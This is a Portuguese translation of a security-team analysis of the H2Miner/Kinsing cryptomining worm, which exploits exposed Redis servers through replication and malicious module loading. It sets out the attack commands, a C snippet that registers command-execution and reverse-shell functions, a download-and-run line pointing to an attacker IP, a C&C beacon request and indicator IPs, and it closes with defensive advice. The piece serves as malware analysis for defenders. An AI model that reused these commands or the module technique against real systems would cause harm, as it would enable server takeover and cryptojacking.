Foi descoberto um novo surto de worms H2Miner que explora Redis RCE

Há um dia, um dos servidores do meu projeto foi atacado por um worm semelhante. Em busca de uma resposta para a pergunta “o que foi isso?” Encontrei um ótimo artigo da equipe Alibaba Cloud Security. Como não encontrei esse artigo no Habré, resolvi traduzi-lo especialmente para você <3

Entrada

Recentemente, a equipe de segurança do Alibaba Cloud descobriu um surto repentino de H2Miner. Este tipo de worm malicioso usa a falta de autorização ou senhas fracas para Redis como gateways para seus sistemas, após o que ele sincroniza seu próprio módulo malicioso com o escravo por meio da sincronização mestre-escravo e finalmente baixa esse módulo malicioso para a máquina atacada e executa malware instruções.

No passado, os ataques aos seus sistemas eram realizados principalmente usando um método que envolvia tarefas agendadas ou chaves SSH que eram gravadas na sua máquina depois que o invasor fazia login no Redis. Felizmente, esse método não pode ser usado com frequência devido a problemas de controle de permissão ou devido a diferentes versões do sistema. No entanto, este método de carregar um módulo malicioso pode executar diretamente os comandos do invasor ou obter acesso ao shell, o que é perigoso para o seu sistema.

Devido ao grande número de servidores Redis hospedados na Internet (quase 1 milhão), a equipe de segurança do Alibaba Cloud, como um lembrete amigável, recomenda que os usuários não compartilhem Redis online e verifiquem regularmente a força de suas senhas e se estão comprometidas. seleção rápida.

H2Miner

H2Miner é um botnet de mineração para sistemas baseados em Linux que pode invadir seu sistema de várias maneiras, incluindo falta de autorização em vulnerabilidades de execução remota de comando (RCE) do Hadoop, Docker e Redis. Uma botnet funciona baixando scripts maliciosos e malware para extrair seus dados, expandir o ataque horizontalmente e manter comunicações de comando e controle (C&C).

Redis RCE

O conhecimento sobre este assunto foi compartilhado por Pavel Toporkov no ZeroNights 2018. Após a versão 4.0, o Redis oferece suporte a um recurso de carregamento de plug-in que oferece aos usuários a capacidade de carregar arquivos compilados com C no Redis para executar comandos específicos do Redis. Esta função, embora útil, contém uma vulnerabilidade na qual, no modo mestre-escravo, os arquivos podem ser sincronizados com o escravo através do modo fullresync. Isso pode ser usado por um invasor para transferir arquivos maliciosos. Após a conclusão da transferência, os invasores carregam o módulo na instância do Redis atacada e executam qualquer comando.

Análise de worms de malware

Recentemente, a equipe de segurança do Alibaba Cloud descobriu que o tamanho do grupo de mineradores maliciosos H2Miner aumentou repentinamente. De acordo com a análise, o processo geral de ocorrência do ataque é o seguinte:

Foi descoberto um novo surto de worms H2Miner que explora Redis RCE

H2Miner usa RCE Redis para um ataque completo. Os invasores primeiro atacam servidores Redis desprotegidos ou servidores com senhas fracas.

Então eles usam o comando config set dbfilename red2.so para alterar o nome do arquivo. Depois disso, os invasores executam o comando slaveof para definir o endereço do host de replicação mestre-escravo.

Quando a instância do Redis atacada estabelece uma conexão mestre-escravo com o Redis malicioso de propriedade do invasor, o invasor envia o módulo infectado usando o comando fullresync para sincronizar os arquivos. O arquivo red2.so será então baixado para a máquina atacada. Os invasores então usam o módulo de carregamento ./red2.so para carregar esse arquivo so. O módulo pode executar comandos de um invasor ou iniciar uma conexão reversa (backdoor) para obter acesso à máquina atacada.

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

Depois de executar um comando malicioso como / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, o invasor redefinirá o nome do arquivo de backup e descarregará o módulo do sistema para limpar os rastros. No entanto, o arquivo red2.so ainda permanecerá na máquina atacada. Os usuários são aconselhados a prestar atenção à presença de tal arquivo suspeito na pasta de sua instância do Redis.

Além de eliminar alguns processos maliciosos para roubar recursos, o invasor seguiu um script malicioso baixando e executando arquivos binários maliciosos para 142.44.191.122/kinsing. Isso significa que o nome do processo ou nome do diretório que contém o kinsing no host pode indicar que aquela máquina foi infectada por este vírus.

De acordo com os resultados da engenharia reversa, o malware executa principalmente as seguintes funções:

  • Fazendo upload de arquivos e executando-os
  • mineração
  • Manter a comunicação C&C e executar comandos do invasor

Foi descoberto um novo surto de worms H2Miner que explora Redis RCE

Use masscan para varredura externa para expandir sua influência. Além disso, o endereço IP do servidor C&C é codificado no programa, e o host atacado se comunicará com o servidor de comunicação C&C usando solicitações HTTP, onde as informações do zumbi (servidor comprometido) são identificadas no cabeçalho HTTP.

Foi descoberto um novo surto de worms H2Miner que explora Redis RCE

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

Outros métodos de ataque

Foi descoberto um novo surto de worms H2Miner que explora Redis RCE

Endereços e links usados ​​pelo worm

/kinsing

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

s&c

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

Conselho

Primeiro, o Redis não deve ser acessível pela Internet e deve ser protegido com uma senha forte. Também é importante que os clientes verifiquem se não há arquivo red2.so no diretório Redis e se não há “kinsing” no nome do arquivo/processo no host.

Fonte: habr.com

Adicionar um comentário